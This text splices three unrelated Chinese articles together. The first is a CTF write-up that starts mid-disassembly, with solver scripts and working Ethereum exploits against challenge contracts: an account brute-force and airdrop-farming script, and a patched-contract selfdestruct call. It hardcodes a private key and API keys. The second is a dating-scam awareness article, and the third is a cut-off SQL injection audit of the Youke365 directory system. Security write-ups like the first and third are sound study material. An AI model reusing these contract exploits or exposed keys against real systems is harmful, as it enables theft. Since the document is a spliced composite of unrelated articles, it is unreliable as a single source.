case 0x93:
inc_reg(a1);
break;
case 0x94:
dec_reg(a1);
break;
case 0x95:
mov_reg_i64(a1);
break;
case 0x96:
mov_reg_reg(a1);
break;
case 0x97:
mov_reg_data(a1);
break;
case 0x98:
mov_data_reg(a1);
break;
case 0x99:
inc_data_ptr(a1);
break;
case 0x9A:
inc_dword_data_ptr(a1);
break;
case 0x9B:
cmp_reg_reg(a1);
break;
case 0x9C:
jl(a1);
break;
case 0x9D:
jg(a1);
break;
case 0x9E:
jz(a1);
break;
case 0x9F:
jnz(a1);
break;
case 0xA0:
sub_401346(a1);
break;
case 0xA1:
sub_4014CC(a1);
break;
case 0xA2:
nop(a1);
break;
case 0xA3:
return result;
default:
nop(a1);
break;
}
第一段
0 mov r3, 0x1c
4 mov r1, [data]
6 cmp r1, r0
8 jz $+7
10 dec r3
12 inc data
13 jmp $-9 // strlen
15 cmp r3, r2
17 jnz $+6
19 mov r0, 1
23 gg
Flag长度为0x1b
第二段
0 mov r4, r0
2 jnz $+2
4 GG
5 mov r0, 0x80
9 mov r2, 0x3f
13 mov r3, 0x7b
17 mov r4, 0x1c
21 mov r1, [data]
23 mul r1, r2
25 add r1, r3
27 mod r1, r0
29 mov [data], r1
31 inc data
32 dec r4
34 push r4
36 mov r4, r4
38 jnz $+2
40 GG
41 pop r4
43 jmp $-22
45 GG
对Flag做了一个变形
for i in xrange(0x1b):
flag[i] = (flag[i] * 0x3f + 0x7b) % 0x80
第三段
0 mov r4, r0
2 jnz $+2
4 GG
5 push 0x3E
8 push 0x1a
11 push 0x56
14 push 0x0d
17 push 0x52
20 push 0x13
23 push 0x58
26 push 0x5a
29 push 0x6e
32 push 0x5c
35 push 0x0f
38 push 0x5a
41 push 0x46
44 push 0x07
47 push 0x09
50 push 0x52
53 push 0x25
56 push 0x5c
59 push 0x4c
62 push 0x0a
65 push 0x0a
68 push 0x56
71 push 0x33
74 push 0x40
77 push 0x15
80 push 0x07
83 push 0x58
86 push 0x0f
89 mov r0, 0
93 mov r3, 0x1c
97 mov r1, [data]
99 pop r2
101 cmp r1, r2
103 jz $+3
105 GG
106 inc data
107 dec r3
109 mov r4, r3
111 jnz $+5
113 mov r0, 1
117 GG
118 jmp $-21
120 GG
就是个比较
import string
a = [i for i in xrange(0x80)]
b = [(i * 0x3f + 0x7b) % 0x80 for i in a]
a = ''.join(map(chr, a))
b = ''.join(map(chr, b))
t = string.maketrans(b, a)
correct = [0x0f, 0x58, 0x07, 0x15, 0x40, 0x33, 0x56, 0x0a, 0x0a, 0x4c, 0x5c, 0x25, 0x52, 0x09, 0x07, 0x46, 0x5a, 0x0f, 0x5c, 0x6e, 0x5a, 0x58, 0x13, 0x52, 0x0d, 0x56, 0x1a, 0x3e]
flag = ''.join(map(chr, correct)).translate(t)
print flag
真的可以逐位爆破的……卧槽
### 想起「Qt
correct=DQYHTONIJLYNDLA
先试一下爆破
AEEEEEEEEEEEEEE => AGIKMOQSUWYACEG
BEEEEEEEEEEEEEE => BGIKMOQSUWYACEG
DAAAAAAAAAAAAAA => DCEGIKMOQSUWYAC
DBAAAAAAAAAAAAA => DDEGIKMOQSUWYAC
好像可以。。。
DOBAAAAAAAAAAAA => DQFGIKMOQSUWYAC
好像就是个多表移位？
>>> a = 'AEEEEEEEEEEEEEE'
>>> b = 'AGIKMOQSUWYACEG'
>>> c = 'DQYHTONIJLYNDLA'
>>> flag = ''.join(map(chr, [((ord(c[i]) - 65) - (ord(b[i]) - ord(a[i])) % 26) % 26 + 65 for i in xrange(15)]))
>>> flag
'DOUBLEBUTTERFLY'
...这么水吗
太真实了
### b2w
400E66似乎是把图片变成黑白 二值化
400F38是取周围一圈颜色的平均值？ 高斯模糊？？？
402C7F先算了白色的点离原点的距离，取一个距离最小的点，加入数组
from pwn import *
key = 'LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}'
f = open('out.wav','rb')
d = f.read()
f.close()
res = ''
def de1(a,k):
t = k * 0x101
t = t & 0xffff
return a ^ t
j = 0
h = []
r = []
for i in xrange(len(d)/2):
t = d[i*2:i*2+2]
tt = u16(t)
tt = (de1(tt,ord(key[j % len(key)])))
if tt >= 0x8000:
tt -= 0x10000
j += ord(key[j % len(key)])
if i %2 == 0:
h.append(tt/200.0)
else:
r.append(tt/200.0)
for i in xrange(len(h)):
print h[i],r[i]
还在跑图片还原，matlab怪慢的
d = load("C:\Users\pzhxbz\Desktop\lctf\test_out");
x=d(:,1);
y=d(:,2);
hold on;
for i = 1:44
for j = 1:2000
index = i*2000+j;
plot(x(index) + i*200,-y(index),'r.','markersize',30);
end
end
hold off;
%LCTF{NOW_YOU_GOT_A_OSCILLOSCOPE_MEDIA_PLAYER}
### 想起「 Lunatic Game 」
GHC编译的haskell binary
直接设置ip到4023C8运行即可获得flag
### 想起「壶中的大银河 ～ Lunatic 」
最后是个b16
from pwn import *
table = 'QWERTYUIOP!@#$%^'
def b16decode(s):
res = ''
for i in s:
a = table.index(i)
res += hex(a)[-1]
return res.decode('hex')
de1 = (b16decode('IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE'))
for i in xrange(len(de1)/4):
print(hex(u32(de1[i*4:(i+1)*4])))
然后在编码函数8B7A处下断点看内存，发现是四字节四字节的加密的，所以尝试一波黑盒
输入为aaaa时加密结果是4457415d
输入为baaa时加密结果是4457415e
非常有规律。
尝试了简单的加法，失败
尝试了一下亦或，居然成功的解出了LCTF四个字符，但是观察到前四个字符对后四个字符有影响，所以每解密对四个字符时就直接重新运行程序继续解出下四个字符
还好flag长度不长。。。。。
### MSP430
看符号发现可能是个RC4
但是秘钥位置未知，进入main函数发现有个keygen，但是也只有后四位的生成算法，但是看到文件中字符串有LCTF，大胆猜测前四位是LCTF，然后根据算法遍历后四位可能的值，就可以解出flag
from Crypto.Cipher import ARC4
from pwn import *
s = '2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex')
k = 'LCTF'
for i in xrange(255):
kk = k
kk += chr(i * 3 & 0xff)
kk += chr(i * 2 & 0xff)
kk += chr( ((i & 0x74 ) << 1)&0xff)
kk += chr((i + 0x50) & 0xff)
a = ARC4.new(kk)
print a.decrypt(s)
## misc
### 签到
小猿搜题 emmmm
> LCTF{5d7b9adcbe1c629ec722529dd12e5129}
太真实了
### 你会玩osu!么？
数位板和鼠标的流量包
<https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/?tdsourcetag=s_pctim_aiomsg>
根据这篇文章，提取流量包里面的数据，作图，得到非常乱的图形，调整力度的阈值，连蒙带猜得到flag LCTF{OSU_1S_GUUUD}
### gg bank
这题骚的不行，开头有个checkfriend，要爆破出一个地址。。然后不能随便爆破。。要不然你做出来了，其他人也跟着出来了
爆破出了一个
addr = 0x9bf312b5bbbbd496c99983ce9cb521d10fe7d7ec
priv = "f56e2522d53316406"
priv = 0xb040b3a864aa437ac02030e5cfa1199991214112b5dedbd11535c5298f16b31a
public = '9bf312b5bbbbd496c99983ce9cb521d10fe7d7ec'
random = int(sha3.keccak_256(int(public,16).to_bytes(20, "big")).hexdigest(),16)%100
random = 57
爆破出200个账号。。。。
payload:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from web3 import Web3
import time
from ethereum.utils import privtoaddr
import os
import sha3
import threading
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/c695ce08952c49599827379d10b5e308")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
main_account = "0x9bf312b5bbbbd496c99983ce9cb521d10fe7d7ec"
private_key = "0xb040b3a864aa437ac02030e5cfa1199991214112b5dedbd11535c5298f16b31a"
constract = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"
drop_index = (2).to_bytes(32,"big")
def run_account():
salt = os.urandom(10).hex()
x = 0
while True:
key = salt + str(x)
priv = sha3.keccak_256(key.encode()).digest()
public = privtoaddr(priv).hex()
if "7d7ec" in public:
tmp_v = int(public, 16)
addr = "0x" + sha3.keccak_256(tmp_v.to_bytes(32,"big")+drop_index).hexdigest()
result = runweb3.eth.getStorageAt(constract, addr)
if result[-1] == 0:
yield ("0x"+public, "0x"+priv.hex())
x += 1
def run(args):
transaction_dict = {
'from':Web3.toChecksumAddress(main_account),
'to':'', # empty address for deploying a new contract
'gasPrice':10000000000,
'gas':120000,
'nonce': None,
'value':3000000000000000,
'data':""
}
transaction_dict2 = {
'from': None,
'to':Web3.toChecksumAddress(constract),
'gasPrice':10000000000,
'gas':102080,
'nonce': 0,
"value": 0,
'data':"0xd25f82a0"
}
transaction_dict3 = {
'from': None,
'to':Web3.toChecksumAddress(constract),
'gasPrice':10000000000,
'gas':52080,
'nonce': 1,
"value": 0,
'data':"0xa9059cbb0000000000000000000000009bf312b5bbbbd496c99983ce9cb521d10fe7d7ec00000000000000000000000000000000000000000000000000000000000003e8"
}
addr = args[0]
priv = args[1]
myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(main_account))
transaction_dict["nonce"] = myNonce
transaction_dict["to"] = Web3.toChecksumAddress(addr)
r = runweb3.eth.account.signTransaction(transaction_dict, private_key)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except Exception as e:
print("error1", e)
print(args)
return
while True:
result = runweb3.eth.getBalance(Web3.toChecksumAddress(addr))
if result > 0:
break
else:
time.sleep(1)
transaction_dict2["from"] = Web3.toChecksumAddress(addr)
now_nouce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(addr))
transaction_dict2["nonce"] = now_nouce
r = runweb3.eth.account.signTransaction(transaction_dict2, priv)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except Exception as e:
print("error2", e)
print(args)
return
transaction_dict3["nonce"] = now_nouce + 1
transaction_dict3["from"] = Web3.toChecksumAddress(addr)
r = runweb3.eth.account.signTransaction(transaction_dict3, priv)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except Exception as e:
print("error3", e)
print(args)
return
print(args, "Done")
def main():
account_set = run_account()
while True:
params = next(account_set)
t = threading.Thread(target=run, args=(params,))
t.start()
if __name__ == '__main__':
main()
### easy little trick
`level1`的逻辑大概是:
function level1(address target, uint hash, uint block) {
require(hash == block.blockhash(block.blocknumber));
require(block.blockhash(block) == 0);
require((target.codesize) & 0xff == 0);
passed1[target] == 1;
}
众所周知`block.blockhash(block.blocknumber)`无法得到当前块的hash, 故为0. 然后`block`填0即可.
`level2`的逻辑大概是:
function level2(address target, contract cont) {
require((address(cont).codesize) & 0xff == 9);
require(cont.getvalue() == block.difficulty);
passed2[target] == 2;
}
第二个条件很好过, 第一个条件需要`patch`一下合约代码, 将合约的长度增长到满足要求即可.
Script:
const Web3 = require('web3');
const Tx = require('ethereumjs-tx');
const fs = require('fs');
const WalletProvider = require("truffle-wallet-provider");
const contract = "774Fea9014010a62017C739EAcB760D8E9B40B75";
const mine = '9Fd6Bd7F75fB554A206dFa952cCa508d07e974C8';
const check1 = '1af36a78';
const check2 = 'e2e79a02';
const flag = 'd4d96ac5';
var patched = '608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610209806100606000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806341c0e1b51461004e57806369bd01c414610065575b005b34801561005a57600080fd5b50610063610090565b005b34801561007157600080fd5b5061007a610125565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100eb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000449050905600a165627a7a72305820df99b71d2bf5b4a2dd8b67334c2e93e813a8dddf7ebac166db433f570210329a0029ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
String.prototype.trim = function() {
return String(this).replace(/^\s+|\s+$/g, '');
};
String.prototype.leftJustify = function( length, char ) {
var fill = [];
while ( fill.length + this.length < length ) {
fill[fill.length] = char;
}
return fill.join('') + this;
}
String.prototype.rightJustify = function( length, char ) {
var fill = [];
while ( fill.length + this.length < length ) {
fill[fill.length] = char;
}
return this + fill.join('');
}
String.prototype.abiPack = function() {
return num2uint(this.length) + Buffer.from(this).toString('hex').rightJustify(64, '0');
}
var wallet = require('ethereumjs-wallet').fromPrivateKey(Buffer.from(fs.readFileSync("./pk.txt").toString().trim(), 'hex'));
var web3 = new Web3(new WalletProvider(wallet, "https://ropsten.infura.io/v3/" + fs.readFileSync("./apikey.txt").toString().trim()));
//var web3 = new Web3(new WalletProvider(wallet, "https://ropsten.infura.io/v3/e5eb875654dd4986aa22a11f55c2e94e"));
function address2uint(address) {
return "000000000000000000000000" + address;
}
function num2uint(number) {
return number.toString(16).leftJustify(64, '0');
}
function sendTransaction(tx) {
var tx = new Tx(tx);
tx.sign(priv);
var serialized = tx.serialize()
return web3.eth.sendSignedTransaction('0x' + serialized.toString('hex'));
}
function deploy(contract) {
return web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: '0x' + mine,
value: 0,
data: '0x' + contract,
});
}
// solution to check1
/*
web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: '0x' + mine,
to: '0x' + contract,
value: 0,
data: '0x' + check1 + address2uint(mine) + num2uint(0) + num2uint(0),
}).then(console.log);
*/
var deployed = "DAa5566D05Dc93aa4b2B7A964d2D9B10644f7CA7";
/*
// solution to check2
deploy(patched).then(console.log);
web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: '0x' + mine,
to: '0x' + contract,
value: 0,
data: '0x' + check2 + address2uint(mine) + address2uint(deployed),
}).then(console.log);
*/
/*
// get flag
var email = 'aUBzaGlraTcubWU=';
web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: '0x' + mine,
to: '0x' + contract,
value: 0,
data: '0x' + flag + num2uint(0x20) + email.abiPack(),
}).then(console.log);
*/
web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: '0x' + mine,
to: '0x' + deployed,
value: 0,
data: '0x41c0e1b5',
}).then(console.log);
console.log("done!");
### 想起「恐怖的回忆」
一个`haskell`写的隐写工具. 将加密后的数据隐写到原图片中的R,G的低位. 然而看`Crypto.hs`的时候不太想去管那套Writer
Monad乱七八糟的东西, 所以大概看了一下这个加密方式可以想像成和RC4那种生成密钥流一样的算法. 于是可以在`stack ghci`中:
*Main Crypto Helper Image> zero = 0
*Main Crypto Helper Image> encryptoData $ replicate 30 zero
[186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,207,200]
用这种方式获取密钥流.
script:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct, os, sys, itertools, IPython
from PIL import Image
def main():
inp = Image.open("./input.png")
outp = Image.open("./output.png")
ip = inp.load()
op = outp.load()
w, h = inp.size
assert (w, h) == outp.size
rmatrix = []
for hi in xrange(h):
result = []
for wid in xrange(w):
assert ip[wid, hi][2] == op[wid, hi][2]
result.append((ip[wid, hi][0] ^ op[wid, hi][0], ip[wid, hi][1] ^ op[wid, hi][1]))
rmatrix.append(result)
datachain = list(itertools.chain.from_iterable(rmatrix))
data = []
idx = 0
while idx + 4 < len(datachain):
byte = 0
for i in xrange(4):
byte = byte << 2
byte += datachain[idx + i][1] + (datachain[idx + i][0] * 2)
data.append(byte)
idx += 4
print len(data)
keystream = [186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,195,200,203,146,161,196,213,205,215,201,187,207,151,196,207,200]
r = ''
for i in xrange(len(keystream)):
r += chr(data[i] ^ keystream[i])
print r
IPython.embed()
return
main() | 社区文章 |
# 被要求“晚上来面试”意味着什么？“凡”事小心
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
“交友”需谨慎，损失价很高！2021年第一季度，在所有诈骗申请中，交友诈骗占比最高达23.5%；
从涉案总金额来看，交友类诈骗总金额最高，达188.9万元，占比38.5%；交友诈骗属于高危诈骗类型，人均损失最高约2.4万元。
婚恋交友诈骗高发，诈骗手法多样，骗子精心编写各种“脑洞大开”的剧本：
冒充“美国大兵”，委托你保管“巨款”
谎称“维和士兵”，找你寄存“战争补偿费”
内部有人，拉你一起搞投资、玩博彩
……
故事编得有头有尾，聊天时也采用“放长线，钓大鱼”的长期诈骗“战略”，对于“优质”客户，甚至还会针对性的设计剧情……真绝！
▲警方缴获的骗子诈骗话术
下面就给大家盘点一下婚恋交友诈骗的套路 **：**
> **冒充“高富帅”、“白富美”**
**寻找诱饵** ：在常见的征婚交友类诈骗中，骗子往往通过 **网络交友（如微信、QQ等）、相亲网站** 等渠道寻找目标用户。
**伪装身份** ：骗子经常在朋友圈发照片、小视频等，将自己营造成貌美帅气的“白富美”或“高富帅”的虚假形象迷惑用户。
**终极行骗** ：骗取用户信任、确立交往关系后，选择时机提出借钱周转、家庭遭遇变故等各种理由，骗取钱财后便销声匿迹。
> **冒充“美国大兵”、“违和部队”**
冒充美国大兵诈骗是近年来较为常见的征婚交友类诈骗。在这类骗术中，骗子传统的套路是：
先广撒网寻找目标， **利用QQ、电子邮件等方式，诱导用户上钩** ，一旦成功，迅速与用户“坠入爱河”；进而再 **以高额利益诱导用户转账汇款** 。
在诈骗过程中，骗子与用户 **只通过电话、网络联系**
。为了增加可信度，骗子还会通过网络发送一些“美国大兵”和所谓装有巨额“美金”的包裹照片，更有狡猾的骗子会与用户视频，这些骗术不仅成功率高，往往诈骗金额也很大。
> **借口投资赌博网站有“漏洞”拉你投资**
此类诈骗出现新套路，拉你“投资”的 **“局中局”** 。
骗子以恋爱的名义获取用户信任后，诱导其在一个自己控制的虚假平台里，以漏洞赚钱、小额投入、大额回报等借口实施诈骗，而提现环节其实是骗子故意设置的圈套，诱导用户继续“充值”，一旦用户大量注资，即被拉黑。
> **假冒明星账号骗取粉丝刷礼物**
假冒明星账号骗取粉丝刷礼物、向粉丝兜售产品的情况并不罕见。冒充明星诈骗的这些账号的运营者大多采用嫁接视频的方式，截取演员演戏和接受采访的视频片段，加上人工或机器配音，自称是明星本人。回复关注者的留言，并且私信一些关心和问候的话语，让关注者觉得自己与明星成了朋友，开始相信对方，在积累一定量的粉丝后，这些账号开始直播带货变现。
> **被要求“晚上来面试”意味着什么？**
接到面试邀约“你晚上来面试吧”，地点是偏僻人少的地段，去or不去？小心遇上狼与小红帽的故事。通常正规公司会把面试约在白天，而且面试地点会选在公司或者咖啡厅等公共场所。对于那些约在晚上，面试地点又选在很偏僻的酒店或房间，你就真的要高度警惕了，尽量不要轻易前去，特别是女孩子，小心身心受侵害；若是碰到一些现身说法抓住良机一夜暴富的，小心可能是传销在向你招手。
## 安全课堂
l网络交友，一定要及时、认真核实对方身份，不要被骗子的花言巧语与表面行为所迷惑；
l在涉及钱财问题时，不要轻信征婚交友对象的任何借口、说辞，并与身边亲友多沟通，谨防被骗。
l遭遇此类诈骗警情，请第一时间报警处理。 | 社区文章 |
本文由红日安全成员： licong 编写，如有不当，还望斧正。
### 前言
优客365网站分类导航系统是个跨平台的开源软件，基于PHP+MYSQL开发构建的开源网站分类目录管理系统，具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便，可以帮您迅速、轻松地构建起一个强大、专业的分类目录或网址导航网站。
### 目录结构
│ .htaccess
│ AdminYouke365.php 后台管理页面
│ config.php 全局配置文件
│ index.php 网站主页
├─app 应用目录
├─data 应用运行时目录
├─install 应用安装目录
├─mobile 手机模块
├─public WEB资源目录
├─theme 应用皮肤资源目录
├─themes 应用皮肤资源目录
├─uploads 文件上传存放目录
├─vendor 第三方类库目录
### 代码执行流程分析
对程序目录结构确定以后，便于我们更好的定位代码，接下来看一下代码的执行流程，在index.php代码26行下断点，点击搜索，程序成功断下，F7跟进：
进入到\core\start.php文件中，在代码85行出现`$_module`和`$_controller`变量，跟进一下Router类的init方法，用传入的`$config`变量中的值对类中变量进行了初始化，该值不可控。无法利用。
接下来调用了Router类的url方法，未跟进函数执行，`$param`返回值如下：
通过$param变量中的值发现，该方法将url中的参数进行了处理，数组$param中module,controller不为空，则赋值到`$_module`,`$_controller`变量中，然后定义成了常量`__MODULE__`,`__CONTROLLER__`，在程序217行，进行字符串拼接并包含该文件。继续跟踪被包含文件：
得到文件路径： app\home\controller\search.php
url：[http://127.0.0.1/home/search.html?mod=search&type=name&query=sdfd](http://127.0.0.1/home/search.html?mod=search&type=name&query=sdfd)
对比一下两个地址，猜测，第一个/后的位置代表了app文件夹中的子目录，第二个/后地址代表所要请求的php文件，将html更换成php。mod参数在该文件没有体现。由此我们确定了程序如何传参，在我们找到漏洞存在页面以后，便知道如果构造相应的参数才能到达该页面。
### 代码审计
#### SQL注入
##### 漏洞分析
app\home\controller\feedback.php
猜测I函数对用户输入进行处理，跟进一下：
函数参数$filters未设置的情况，默认使用htmlspecialchars函数对传入参数进行了处理。接下来我们看一下W3Cschool对该函数的说明:
以下是PHP手册中对预定义字符的说明：
对该函数的详细说明可参考PHP手册:
<http://php.net/manual/zh/function.htmlspecialchars.php>
I函数在调用htmlspecialchars函数对传入参数进行处理时，并未设置flags参数，单引号未进行编码，猜想可能存在SQL注入。
